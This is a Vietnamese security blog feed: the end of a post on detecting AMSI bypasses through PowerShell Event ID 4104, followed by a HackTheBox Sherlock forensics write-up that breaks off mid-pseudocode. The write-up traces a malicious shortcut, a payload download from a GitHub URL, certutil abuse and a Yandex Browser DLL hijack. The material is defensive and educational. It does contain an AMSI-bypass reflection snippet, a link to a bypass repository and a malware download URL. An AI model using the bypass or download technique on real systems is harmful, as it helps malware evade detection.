&lt;h2&gt;6.2. PowerShell Script Block Logging — Event ID 4104&lt;/h2&gt;
&lt;p&gt;Để hiểu tại sao EID 4104 quan trọng, cần hiểu trước một constraint mà &lt;strong&gt;attacker không thể tránh khỏi&lt;/strong&gt;.
Các script host như VBScript (&lt;strong&gt;wscript.exe&lt;/strong&gt;, &lt;strong&gt;cscript.exe&lt;/strong&gt;) hay &lt;strong&gt;mshta.exe&lt;/strong&gt; bị giới hạn nghiêm ngặt về khả năng tương tác với bộ nhớ hệ thống. Chúng không có native access đến các API như &lt;strong&gt;VirtualProtect&lt;/strong&gt;, &lt;strong&gt;Marshal.Copy&lt;/strong&gt;, hay reflection để truy cập internal field của .NET runtime. Muốn thao túng sâu vào bộ nhớ — tức là muốn thực hiện memory patching lên &lt;code&gt;amsi.dll&lt;/code&gt; — &lt;strong&gt;attacker bắt buộc phải leo lên PowerShell&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;PowerShell chạy trên .NET runtime, có đầy đủ quyền truy cập vào &lt;code&gt;System.Runtime.InteropServices&lt;/code&gt;, &lt;code&gt;System.Reflection&lt;/code&gt;, P/Invoke, và toàn bộ Win32 API surface. Đây là môi trường duy nhất trong Windows scripting stack cho phép attacker làm những việc như:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Truy cập internal field của .NET runtime qua reflection
$a = [Ref].Assembly.GetType(&apos;System.Management.Automation.AmsiUtils&apos;)
$b = $a.GetField(&apos;amsiInitFailed&apos;,&apos;NonPublic,Static&apos;)

# Gọi Win32 API trực tiếp qua P/Invoke
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(...)
VirtualProtect($addr, 6, 0x40, [ref]$old)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;EID 4104 ghi lại payload tại thời điểm PowerShell engine đã làm hết phần decode thay cho chúng ta, và nó xuất hiện trước khi attacker kịp làm bất cứ điều gì để xóa dấu vết.&lt;/p&gt;
&lt;p&gt;Nhìn vào hai mẫu log thu thập được từ quá trình thực thi &lt;code&gt;AsyncRAT&lt;/code&gt;, chúng ta có thể thấy rõ chiến thuật phân lớp của kẻ tấn công:
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/rkzr30DGfl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Khối mã nguồn sau khi giải mã (lưu trữ trong biến &lt;code&gt;$injectionCode&lt;/code&gt;) chứa đựng toàn bộ logic P/Invoke và Reflection nhằm vô hiệu hóa AMSI và ETW (chi tiết tại Ảnh 2). Tại đây, Event ID 4104 thể hiện rõ vai trò trọng yếu: Ghi nhận chính xác khoảnh khắc Loader thực thi quá trình de-obfuscation Base64, bóc được payload lõi ngay trước khi mã độc kịp vô hiệu hóa các lá chắn phòng thủ của hệ thống.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/AMSI/BkDFXXdMfe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bức ảnh thứ hai chính là nội dung của $injectionCode đã được giải mã, đây là toàn bộ logic cốt lõi để bypass AMSI/ETW mà chúng ta đã phân tích ở phần 5.3.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Để khám phá thêm sự đa dạng của các attack surface, các bạn có thể tham khảo thêm repository &lt;a href=&quot;https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell&quot;&gt;Amsi-Bypass-Powershell&lt;/a&gt; . Đây là một dự án tổng hợp hệ thống các kỹ thuật bypass AMSI tiên tiến dành riêng cho mục đích nghiên cứu.&lt;/p&gt;
&lt;p&gt;Tóm lại, với những chia sẻ trên thì toi cũng coi như có cái note để đọc lại khi quên và cũng mong là nó giúp ích gì đó cho các bạn. Đến đây thì blog cũng đã dài. Cảm ơn các bạn đã dành thời gian để đọc đến đây. Chúc một ngày tốt lành&lt;/p&gt;
&lt;p&gt;(\_/)&lt;/p&gt;
&lt;p&gt;(•.•)&lt;/p&gt;
&lt;p&gt;(&amp;gt;☕&lt;/p&gt;
&lt;p&gt;SawG, a.k.a EagleBoiz&lt;/p&gt;
&lt;h1&gt;🔍 Indicators of Compromise (IOCs)&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Indicator / Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SHA256&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;04fc833b59af93308029d3e87c85e327a1e480508bc78b6a4e46c0cbd65ea8dc&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;File Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;8KuV.ps1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;📚 Tài liệu tham khảo&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal&lt;/li&gt;
&lt;li&gt;https://learn.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iantimalwareprovider&lt;/li&gt;
&lt;li&gt;https://porotnikov.com/post/windows/2023-09-05-understanding-amsi-the-antimalware-scan-interface-in-windows-systems/&lt;/li&gt;
&lt;li&gt;https://theshadowslights.com/posts/malware-analysis/02/&lt;/li&gt;
&lt;li&gt;https://cyble.com/blog/null-amsi-evading-security-to-deploy-asyncrat/&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>HackTheBox - Sherlocks - Easy Money</title><link>https://sawg23.github.io/blog/posts/hackthebox/sherlocks-easymoney/</link><guid isPermaLink="true">https://sawg23.github.io/blog/posts/hackthebox/sherlocks-easymoney/</guid><description>HackTheBox Sherlock challenge</description><pubDate>Mon, 13 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/B12Wgvv2Wl.png&quot; alt=&quot;image&quot; /&gt;
Đây là một challenge thuộc HackTheBox Sherlocks. Description của đề:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;John is an employee at a mid-sized tech company. He works as a Senior IT support specialist, but his true passion is finding ways to make extra money. John is always on the lookout for giveaways, discounts, and any opportunity to earn a quick buck. He’s not particularly tech-savvy when it comes to cybersecurity, but he’s resourceful and knows how to follow online tutorials.&lt;/p&gt;
&lt;p&gt;Recently, John came across an enticing giveaway that promised exciting rewards. However, when he opened the giveaway, he didn’t find or win anything. This made him suspicious that something might have gone wrong with his machine. Concerned about the unusual behavior, John has reached out to you, the investigator, to uncover what happened and whether his system has been compromised.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Phân tích context của đề một tí, thì chúng ta biết được rằng có vẻ nạn nhân đã bị phishing, hoặc vô tình kích hoạt mã độc khi mở file giveaway, dẫn đến máy của anh ta đã bị compromised. Oke bắt đầu tải attachment và giải quyết thoi&lt;/p&gt;
&lt;p&gt;Attachment của đề cho ta được một thư mục evidence chứa ổ C đã được dump các artifact quan trọng thực trong việc hỗ trợ Forensics. Chúng ta tiến thành add evidence vào FTK Imager.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/rJEewvD2Wg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Trong context của đề, chúng ta biết được rằng victim đã dính phải mã độc sau khi mở file giveaway gì đấy, vậy nên lịch duyệt web là ứng cử sáng giá để bắt đầu. Trong bài này, victim dùng Edge browser nên lịch sử duyệt web sẽ nằm ở đường dẫn
&lt;code&gt;C:\Users\{user}\AppData\Local\Microsoft\Edge\User Data\Default\*&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/BklNYPwhbl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/HyQ19DvhZe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Vì file này là file &lt;code&gt;SQLite3&lt;/code&gt; nên chúng ta sẽ dùng DB Browser để mở file &lt;code&gt;History&lt;/code&gt; này&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/B1IjiPv2Ze.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ở đây chỉ thấy victim search rất nhiều chủ đề về giveaway và download &lt;code&gt;Yadex Browser&lt;/code&gt; và file &lt;code&gt;Ultimate-Guide-to-Running-Giveaways.pdf&lt;/code&gt;, cũng không thấy có gì đáng ngờ.&lt;/p&gt;
&lt;p&gt;tiếp theo xử dụng các tool của Zimmerman mở các artifact như file &lt;code&gt;Journal ($J)&lt;/code&gt;, &lt;code&gt;prefetch&lt;/code&gt;, &lt;code&gt;$MFT&lt;/code&gt;...&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Với những bạn chưa biết, thì:&lt;/p&gt;
&lt;p&gt;file &lt;code&gt;$J&lt;/code&gt; được coi như là cuốn nhật ký của mọi file trên phân vùng NTFS. Nó ghi lại mọi biến đổi của của file/folder (Create, Delete, Rename,...) kèm theo mốc thời gian chính xác. Nó là một trong những artifact quan trọng phục vụ cho việc Forensics của chúng ta. Vị trí &lt;code&gt;C:\$Extend\$J&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Ngoài ra chúng ta còn một artifact rất quan trọng khác là &lt;code&gt;Prefetch&lt;/code&gt;. Cơ chế là Windows sẽ tạo ra các file Prefetch (.pf) để ghi nhớ các dữ liệu mà một ứng dụng cần khi khởi động, giúp lần mở sau nhanh hơn. Từ đó nó được dùng để &lt;code&gt;chứng minh một ứng dụng đã từng được thực thi trên hệ thống hay chưa&lt;/code&gt;. Vị trí &lt;code&gt;C:\Windows\Prefetch&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;dùng &lt;code&gt;MFTECmd.exe&lt;/code&gt; để dump &lt;code&gt;$J&lt;/code&gt; ra dạng file .csv
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/H1J3buvnWg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$MFT&lt;/code&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/BJgTzuvh-l.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Prefetch&lt;/code&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/By8YQ_vhbl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Đã dump xong artifact quan trọng rồi, giờ dùng &lt;code&gt;TimelineExplorer.exe&lt;/code&gt; để mở các thằng file này&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/SyqAudD3-g.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;oke, giờ chúng ta quay lại với các câu hỏi của bài&lt;/p&gt;
&lt;h3&gt;Task 1: At what exact time did the user execute the malicious shortcut file?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/ry9b9_P2bg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Thì mình đã tìm những file trong thư mục evidence mà đề cho chúng ta, thì có vẻ các file malicious đã bị xóa hoặc author không cung cấp cho chúng ta
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/Skc9sdw3-l.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Thư mục user Administrator không có gì cả&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Nên buộc chúng ta phải dựa vào các artifact của hệ thống, mà ta đã dump ở trên&lt;/p&gt;
&lt;p&gt;thì như context đã đề cập là có liên quan đến &lt;code&gt;giveaway&lt;/code&gt;, ở artifact &lt;code&gt;$J&lt;/code&gt; mình tìm thấy các file &lt;code&gt;.lnk&lt;/code&gt; đáng ngờ&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/HyfepOvhWl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ở mốc thời gian &lt;code&gt;2025-01-26 16:17:11&lt;/code&gt; ta thấy được file &lt;code&gt;2025-GiveAways.lnk&lt;/code&gt; đã được ghi xuống&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/S1AUbYD3We.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Dựa vào $MFT chúng ta cũng chứng minh được file đã được ghi xuống hệ thống.&lt;/p&gt;
&lt;p&gt;Nhưng &lt;code&gt;2025-01-26 16:17:11&lt;/code&gt; chỉ là thời gian file .lnk này xuất hiện. Còn đề hỏi chúng ta là thời gian execute. Vì thế chúng ta sẽ dựa vào Prefetch.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/B1pHmYw3-e.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;trong khoản mốc thời gian này Prefetch ghi nhận tiến trình &lt;code&gt;CONHOST.EXE&lt;/code&gt; và &lt;code&gt;POWERSHELL.EXE&lt;/code&gt;. Giả thiết là khi file được ghi ra vào &lt;code&gt;2025-01-26 16:17:11&lt;/code&gt; thì sau đó 4 giây đã được user thực thi.&lt;/p&gt;
&lt;p&gt;Đáp án: &lt;code&gt;2025-01-26 16:17:15&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Task 2: The previous malicious file executed an initial payload. What is the full path of this payload?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/S1gcLSKw3-l.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Để biết cụ thể powershell được đề cập ở &lt;code&gt;Task 1&lt;/code&gt; đã thực thi lệnh gì, chúng ta dựa vào log &lt;code&gt;Powershell.evtx&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/SyKkiKP3-l.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Có thể thấy powershell được thực thi để tải mã độc từ &lt;code&gt;https://github.com/M4shl3/okiii/raw/main/svchost.exe&lt;/code&gt; sau đó ghi xuống &lt;code&gt;Temp&lt;/code&gt; với tên là &lt;code&gt;svch0st.exe&lt;/code&gt; sau đó thực thi, và xóa mã độc&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/Bk5g8FDh-e.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Đáp án: &lt;code&gt;C:\temp\svch0st.exe&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Task 3: At what timestamp did the payload execute and grant the attacker shell access?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/rkM6UtDnbl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Trong phân tích &lt;code&gt;Task 2&lt;/code&gt;, thì ta cũng có câu trả lời cho task này.&lt;/p&gt;
&lt;p&gt;Đáp án: &lt;code&gt;2025-01-26 16:17:54&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Task 4: What is the command line the attacker used to enumerate installed packages on the system?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/SJpVKKP2-x.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ở câu hỏi này, chúng ta cũng vẫn dựa vào log &lt;code&gt;Powershell.evtx&lt;/code&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/Hyhck9Dh-l.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;đáp án: &lt;code&gt;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command Get-Package&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Task 5: Which application did the attacker identify as vulnerable?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/rJPlzcv3Ze.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Sau khi có được shell lúc &lt;code&gt;2025-01-26 16:17:54&lt;/code&gt; attacker đã thực hiện các hành vi &lt;code&gt;reconnaisance&lt;/code&gt; thông qua các lệnh như &lt;code&gt;whoami&lt;/code&gt;, &lt;code&gt;systeminfo&lt;/code&gt;, &lt;code&gt;powershell.exe -Command Get-Package&lt;/code&gt;, ... thì sau đó chúng ta thấy được việc thực thi liên tiếp nhiều tiến trình BROWSER.EXE và SERVICE_UPDATE.EXE trong cùng 1-2 giây thường cho thấy hành vi exploit của attacker&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/H1hqzcDnWl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Đáp án: &lt;code&gt;YandexBrowser&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Task 6: What version of that vulnerable application did the attacker identify?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/B1D6QqwnZl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Dựa vào path của Yadex Browser ta cũng đã biết được phiên bản&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/BJXlE5Pnbe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;đáp án: &lt;code&gt;24.4.5.498&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Task 7: What is the CVE associated with this vulnerability?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/BJ4cN9v2We.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Khi đã có phiên bản rồi, thì việc tìm CVE khá là đơn giản&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/r1AmH9PhWx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Tóm tắt về CCVE-2024-6473, thì đây là lỗ hổng &lt;code&gt;DLL Hijacking Vulnerability&lt;/code&gt; vì sử dụng untrusted search path, hậu quả là mã độc có thể chạy dưới tiến trình của Yandex Browser.&lt;/p&gt;
&lt;h3&gt;Task 8: What is the name of the legitimate binary that the attacker used to deliver the malicious payload and establish persistence on the compromised system?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/rysZTQKnZl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Khi nhắc đến các công cụ &lt;code&gt;legitimate binary&lt;/code&gt; bị attacker lạm dụng thì chúng ta sẽ nghĩ nay đến &lt;code&gt;LOLBins&lt;/code&gt; (Living off the Land Binaries)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Dành cho bạn nào chưa biết LOLBins là gì:
https://medium.com/@MonlesYen/living-off-the-land-how-attackers-abuse-lolbins-and-how-to-stop-them-078cf7e798af&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Lần theo các tiến trình được chạy trong khoảng thời gian bị tấn công, chúng ta có thể thấy là &lt;code&gt;certutil.exe&lt;/code&gt; đã được sử dụng trong khoảng thời gian này. Thì &lt;code&gt;certutil.exe&lt;/code&gt; là một trong những công cụ &lt;code&gt;lolbins&lt;/code&gt; rất hay được attacker lạm dụng để tải xuống các file mã độc.
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/BJURAXY3Zg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Các bạn có thể tìm hiểu thêm:
https://lolbas-project.github.io/lolbas/Binaries/Certutil/
https://www.cybertriage.com/blog/dfir-breakdown-using-certutil-to-download-attack-tools/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Đại khái thì &lt;code&gt;certutil&lt;/code&gt; có tính năng &lt;code&gt;Certificate Revocation List&lt;/code&gt; (CRL) checking bằng cách tải chúng từ URL. Attacker lợi dụng tham số &lt;code&gt;-urlcache&lt;/code&gt; để tải mã độc từ máy chủ C2. Từ đó vượt qua các policy bảo mật nghiêm ngặt của mạng nội bộ (Proxy/Firewall) vốn thường mở đường cho các yêu cầu liên quan đến cập nhật và xác thực chứng chỉ hệ thống.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/H1WeQNY3Wl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Đáp án: &lt;code&gt;certutil.exe&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Task 9: What is the name of the malicious Portable Executable (PE) file that enabled him to accomplish his objective?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/SyNQBEYnWg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;File PE đang được nhắc đến chính là file đã được tải xuống thông qua việc lạm dụng &lt;code&gt;certutil.exe&lt;/code&gt; mà chúng ta đã bàn ở trên.&lt;/p&gt;
&lt;p&gt;Trong blog mà mình đề cập ở trên có cung cấp các artifacts của &lt;strong&gt;certutil&lt;/strong&gt; này.
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/BJRIU4Knbe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Oke bắt đầu kiểm tra &lt;code&gt;C/Users/Administrator/AppData/LocalLow/Microsoft/CryptnetUrlCache&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/rJoSvEK2Wx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Rõ ràng nó rất sus luôn, tự nhiên thư mục chứa các cert của hệ thống thì lòi ra 1 thằng PE:)))&lt;/p&gt;
&lt;p&gt;cat file &lt;code&gt;MetaData&lt;/code&gt; của thằng này là chúng ta sẽ biết được tên của nó.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/Bk9954Khbx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;đáp án: &lt;code&gt;wldp.dll&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Task 10: What is the SHA-256 hash of that malicious file?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/S12Bj4Y2We.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Tiếp theo là tính sha256 hash thoi, khá đơn giản&lt;/p&gt;
&lt;p&gt;đáp án: &lt;code&gt;a1a17ebd90610d808e761811d17da3143f3de0d4cc5ee92bd66000dca87d9270&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Task 11: How many milliseconds of cumulative coded sleep delays occurred before the C2 binary provided a shell after the vulnerable application was launched?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/rJoPZBth-x.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Bắt đầu từ câu này thì chúng ta cần phải &lt;code&gt;reverse engineering&lt;/code&gt; con malware này.&lt;/p&gt;
&lt;p&gt;Load vào ida
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/H1z00NKh-g.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;đề hỏi chúng ta thời gian &lt;code&gt;sleep delays&lt;/code&gt; nên chúng ta sẽ bắt đầu check các thư viện được import&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/Bk4TkHK3Ze.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/HJQ0yrFn-g.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;chúng ta thấy nó được hàm &lt;code&gt;sub_1800748E0()&lt;/code&gt; gọi 2 lần&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/Hy9NZSYnZl.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Tính tổng của 2 thằng này
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/HJhY-BF3-e.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Đáp án: &lt;code&gt;11000&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Task 12: What is the mutex name used to ensure only one instance of the C2 binary runs at a time?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/HyDdMSYnbe.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Trong hàm &lt;code&gt;sub_1800748E0()&lt;/code&gt; đang gọi &lt;code&gt;CreateMutexW&lt;/code&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/ByljGHYnWl.png&quot; alt=&quot;image&quot; /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/BJYOXSt2Zg.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Mã độc tạo ra một Mutex có tên duy nhất là &lt;code&gt;Global\YandaExeMutex&lt;/code&gt;. Nếu Mutex này đã tồn tại, nghĩa là một bản sao khác của mã độc đã đang chạy trên máy rồi nhằm mục đích thực hiện một kỹ thuật rất phổ biến trong mã độc gọi là &lt;code&gt;Single Instance Enforcement&lt;/code&gt; (Đảm bảo chỉ có một bản sao chạy) để tránh xung đột.&lt;/p&gt;
&lt;p&gt;Đáp án: &lt;code&gt;Global\\YandaExeMutex&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Task 13: What is the full path of the Command and Control (C2) Binary?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/Sherlocks-EasyMoney/HJeeSrthZx.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;đoạn pseudocode của hàm &lt;code&gt;sub_1800748E0()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__int64 sub_1800748E0()
{
  char *v0; // rdi
  __int64 i; // rcx
  HWND WindowW; // rax
  HANDLE CurrentProcess; // rax
  char v5[32]; // [rsp+0h] [rbp-50h] BYREF
  char v6; // [rsp+50h] [rbp+0h] BYREF
  HANDLE hObject; // [rsp+58h] [rbp+8h]
  struct _STARTUPINFOW StartupInfo; // [rsp+80h] [rbp+30h] BYREF
